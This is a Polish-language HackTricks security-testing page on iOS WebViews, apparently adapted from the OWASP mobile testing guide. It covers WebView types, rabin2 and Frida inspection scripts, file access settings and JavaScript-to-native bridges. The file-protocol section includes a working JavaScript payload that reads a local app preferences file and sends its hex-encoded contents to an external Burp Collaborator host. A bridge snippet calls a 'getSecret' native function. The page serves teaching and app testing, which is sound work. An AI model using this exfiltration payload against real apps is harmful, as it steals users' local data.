279 lines
16 KiB
Markdown

# iOS WebViews
{{#include ../../banners/hacktricks-training.md}}
Kod tej strony został wyciągnięty z [tutaj](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Sprawdź stronę, aby uzyskać więcej szczegółów.
## Typy WebViews
WebViews są wykorzystywane w aplikacjach do interaktywnego wyświetlania treści internetowych. Różne typy WebViews oferują różne funkcjonalności i cechy bezpieczeństwa dla aplikacji iOS. Oto krótki przegląd:
- **UIWebView**, który nie jest już zalecany od iOS 12 ze względu na brak wsparcia dla wyłączania **JavaScript**, co czyni go podatnym na wstrzykiwanie skryptów i ataki **Cross-Site Scripting (XSS)**.
- **WKWebView** jest preferowaną opcją do włączania treści internetowych w aplikacjach, oferującą lepszą kontrolę nad treścią i funkcjami bezpieczeństwa. **JavaScript** jest domyślnie włączony, ale można go wyłączyć, jeśli zajdzie taka potrzeba. Obsługuje również funkcje zapobiegające automatycznemu otwieraniu okien przez JavaScript i zapewnia, że wszystkie treści są ładowane w sposób bezpieczny. Dodatkowo, architektura **WKWebView** minimalizuje ryzyko uszkodzenia pamięci wpływającego na główny proces aplikacji.
- **SFSafariViewController** oferuje ustandaryzowane doświadczenie przeglądania internetu w aplikacjach, rozpoznawalne dzięki swojemu specyficznemu układowi, w tym polu adresowym tylko do odczytu, przyciskom udostępniania i nawigacji oraz bezpośredniemu linkowi do otwierania treści w Safari. W przeciwieństwie do **WKWebView**, **JavaScript** nie może być wyłączony w **SFSafariViewController**, który również dzieli pliki cookie i dane z Safari, zachowując prywatność użytkownika z aplikacji. Musi być wyświetlany w sposób wyraźny zgodnie z wytycznymi App Store.
```javascript
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
```
## Podsumowanie eksploracji konfiguracji WebViews
### **Przegląd analizy statycznej**
W procesie badania konfiguracji **WebViews** skupia się na dwóch głównych typach: **UIWebView** i **WKWebView**. Do identyfikacji tych WebViews w binarnym pliku wykorzystuje się polecenia, wyszukując konkretne odniesienia do klas i metody inicjalizacji.
- **Identyfikacja UIWebView**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
```
To polecenie pomaga w lokalizowaniu instancji **UIWebView** poprzez wyszukiwanie ciągów tekstowych związanych z nim w binarnym.
- **Identyfikacja WKWebView**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
```
Podobnie, dla **WKWebView**, to polecenie przeszukuje binarny plik w poszukiwaniu ciągów tekstowych wskazujących na jego użycie.
Ponadto, aby znaleźć, jak **WKWebView** jest inicjowany, wykonuje się następujące polecenie, celując w sygnaturę metody związaną z jego inicjalizacją:
```bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
```
#### **Weryfikacja konfiguracji JavaScript**
Dla **WKWebView** podkreśla się, że wyłączenie JavaScriptu jest najlepszą praktyką, chyba że jest to konieczne. Skanuje się skompilowany plik binarny, aby potwierdzić, że właściwość `javaScriptEnabled` jest ustawiona na `false`, co zapewnia, że JavaScript jest wyłączony:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
```
#### **Tylko Weryfikacja Zawartości Bezpiecznej**
**WKWebView** oferuje możliwość identyfikacji problemów z mieszanym kontentem, w przeciwieństwie do **UIWebView**. Sprawdza się to za pomocą właściwości `hasOnlySecureContent`, aby upewnić się, że wszystkie zasoby strony są ładowane przez bezpieczne połączenia. Wyszukiwanie w skompilowanym binarnym pliku odbywa się w następujący sposób:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
```
### **Wnioski z analizy dynamicznej**
Analiza dynamiczna polega na inspekcji sterty w poszukiwaniu instancji WebView i ich właściwości. W tym celu używany jest skrypt o nazwie `webviews_inspector.js`, który celuje w instancje `UIWebView`, `WKWebView` i `SFSafariViewController`. Rejestruje on informacje o znalezionych instancjach, w tym URL-e i ustawienia związane z JavaScript i zabezpieczoną zawartością.
Inspekcję sterty można przeprowadzić za pomocą `ObjC.choose()`, aby zidentyfikować instancje WebView i sprawdzić właściwości `javaScriptEnabled` oraz `hasonlysecurecontent`.
```javascript:webviews_inspector.js
ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})
ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})
```
Skrypt jest wykonywany za pomocą:
```bash
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
```
**Kluczowe wyniki**:
- Instancje WebViews zostały pomyślnie zlokalizowane i zbadane.
- Weryfikacja włączenia JavaScript i ustawień zabezpieczeń treści została przeprowadzona.
To podsumowanie obejmuje kluczowe kroki i polecenia związane z analizowaniem konfiguracji WebView za pomocą podejść statycznych i dynamicznych, koncentrując się na funkcjach zabezpieczeń, takich jak włączenie JavaScript i wykrywanie mieszanej treści.
## Obsługa protokołów WebView
Obsługa treści w WebViews jest kluczowym aspektem, szczególnie w przypadku różnych protokołów, takich jak `http(s)://`, `file://` i `tel://`. Protokoły te umożliwiają ładowanie zarówno zdalnych, jak i lokalnych treści w aplikacjach. Podkreśla się, że podczas ładowania lokalnych treści należy podjąć środki ostrożności, aby zapobiec wpływowi użytkowników na nazwę lub ścieżkę pliku oraz na edytowanie samej treści.
**WebViews** oferują różne metody ładowania treści. Dla **UIWebView**, obecnie przestarzałego, używane są metody takie jak `loadHTMLString:baseURL:` i `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView** z kolei wykorzystuje `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` oraz `loadRequest:` do treści internetowych. Metody takie jak `pathForResource:ofType:`, `URLForResource:withExtension:` i `init(contentsOf:encoding:)` są zazwyczaj wykorzystywane do ładowania lokalnych plików. Metoda `loadFileURL:allowingReadAccessToURL:` jest szczególnie godna uwagi ze względu na swoją zdolność do ładowania konkretnego URL lub katalogu do WebView, co potencjalnie może ujawniać wrażliwe dane, jeśli określony jest katalog.
Aby znaleźć te metody w kodzie źródłowym lub skompilowanym binarnym, można użyć poleceń takich jak poniższe:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
```
W odniesieniu do **dostępu do plików**, UIWebView pozwala na to uniwersalnie, podczas gdy WKWebView wprowadza ustawienia `allowFileAccessFromFileURLs` i `allowUniversalAccessFromFileURLs` do zarządzania dostępem z adresów URL plików, przy czym oba są domyślnie ustawione na fałsz.
Przykład skryptu Frida jest podany, aby sprawdzić konfiguracje **WKWebView** dotyczące ustawień bezpieczeństwa:
```bash
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
```
Na koniec, przykład ładunku JavaScript mającego na celu eksfiltrację lokalnych plików ilustruje potencjalne ryzyko bezpieczeństwa związane z niewłaściwie skonfigurowanymi WebView. Ten ładunek koduje zawartość plików w formacie szesnastkowym przed przesłaniem ich na serwer, podkreślając znaczenie rygorystycznych środków bezpieczeństwa w implementacjach WebView.
```javascript
String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)
```
## Metody natywne udostępnione przez WebViews
## Zrozumienie interfejsów natywnych WebView w iOS
Od iOS 7 Apple udostępniło API do **komunikacji między JavaScript w WebView a natywnymi** obiektami Swift lub Objective-C. Ta integracja jest głównie ułatwiana przez dwie metody:
- **JSContext**: Funkcja JavaScript jest automatycznie tworzona, gdy blok Swift lub Objective-C jest powiązany z identyfikatorem w `JSContext`. Umożliwia to płynne integrowanie i komunikację między JavaScript a kodem natywnym.
- **JSExport Protocol**: Poprzez dziedziczenie protokołu `JSExport`, natywne właściwości, metody instancji i metody klasowe mogą być udostępniane JavaScript. Oznacza to, że wszelkie zmiany wprowadzone w środowisku JavaScript są odzwierciedlane w środowisku natywnym i odwrotnie. Jednak ważne jest, aby upewnić się, że wrażliwe dane nie są przypadkowo ujawniane za pomocą tej metody.
### Uzyskiwanie dostępu do `JSContext` w Objective-C
W Objective-C `JSContext` dla `UIWebView` można uzyskać za pomocą następującej linii kodu:
```objc
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
```
### Komunikacja z `WKWebView`
Dla `WKWebView` bezpośredni dostęp do `JSContext` nie jest dostępny. Zamiast tego, wykorzystywane jest przesyłanie wiadomości za pomocą funkcji `postMessage`, co umożliwia komunikację JavaScript z natywną aplikacją. Obsługiwacze tych wiadomości są ustawione w następujący sposób, co umożliwia JavaScript bezpieczną interakcję z natywną aplikacją:
```swift
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
```
### Interakcja i testowanie
JavaScript może wchodzić w interakcję z warstwą natywną, definiując handler wiadomości skryptu. Umożliwia to operacje takie jak wywoływanie funkcji natywnych z poziomu strony internetowej:
```javascript
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
```
Aby przechwycić i manipulować wynikiem wywołania funkcji natywnej, można nadpisać funkcję zwrotną w HTML:
```html
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>
```
Strona natywna obsługuje wywołanie JavaScript, jak pokazano w klasie `JavaScriptBridgeMessageHandler`, gdzie wynik operacji, takich jak mnożenie liczb, jest przetwarzany i wysyłany z powrotem do JavaScript w celu wyświetlenia lub dalszej manipulacji:
```swift
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
```
## Debugging iOS WebViews
(Tutorial oparty na tym z [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
Aby skutecznie debugować treści internetowe w webview iOS, wymagane jest specyficzne ustawienie z wykorzystaniem narzędzi dewelopera Safari, ponieważ wiadomości wysyłane do `console.log()` nie są wyświetlane w logach Xcode. Oto uproszczony przewodnik, podkreślający kluczowe kroki i wymagania:
- **Przygotowanie na urządzeniu iOS**: Należy aktywować Web Inspector Safari na swoim urządzeniu iOS. Można to zrobić, przechodząc do **Ustawienia > Safari > Zaawansowane** i włączając _Web Inspector_.
- **Przygotowanie na urządzeniu macOS**: Na swoim komputerze deweloperskim macOS musisz włączyć narzędzia dewelopera w Safari. Uruchom Safari, przejdź do **Safari > Preferencje > Zaawansowane** i wybierz opcję _Pokaż menu Rozwój_.
- **Połączenie i debugowanie**: Po podłączeniu urządzenia iOS do komputera macOS i uruchomieniu aplikacji, użyj Safari na swoim urządzeniu macOS, aby wybrać webview, które chcesz debugować. Przejdź do _Rozwój_ w pasku menu Safari, najedź na nazwę swojego urządzenia iOS, aby zobaczyć listę instancji webview, a następnie wybierz instancję, którą chcesz zbadać. Otworzy się nowe okno Web Inspector Safari w tym celu.
Jednak pamiętaj o ograniczeniach:
- Debugowanie tą metodą wymaga urządzenia macOS, ponieważ opiera się na Safari.
- Tylko webview w aplikacjach załadowanych na twoje urządzenie przez Xcode są kwalifikowane do debugowania. Webview w aplikacjach zainstalowanych za pośrednictwem App Store lub Apple Configurator nie mogą być debugowane w ten sposób.
## References
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
- [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
{{#include ../../banners/hacktricks-training.md}}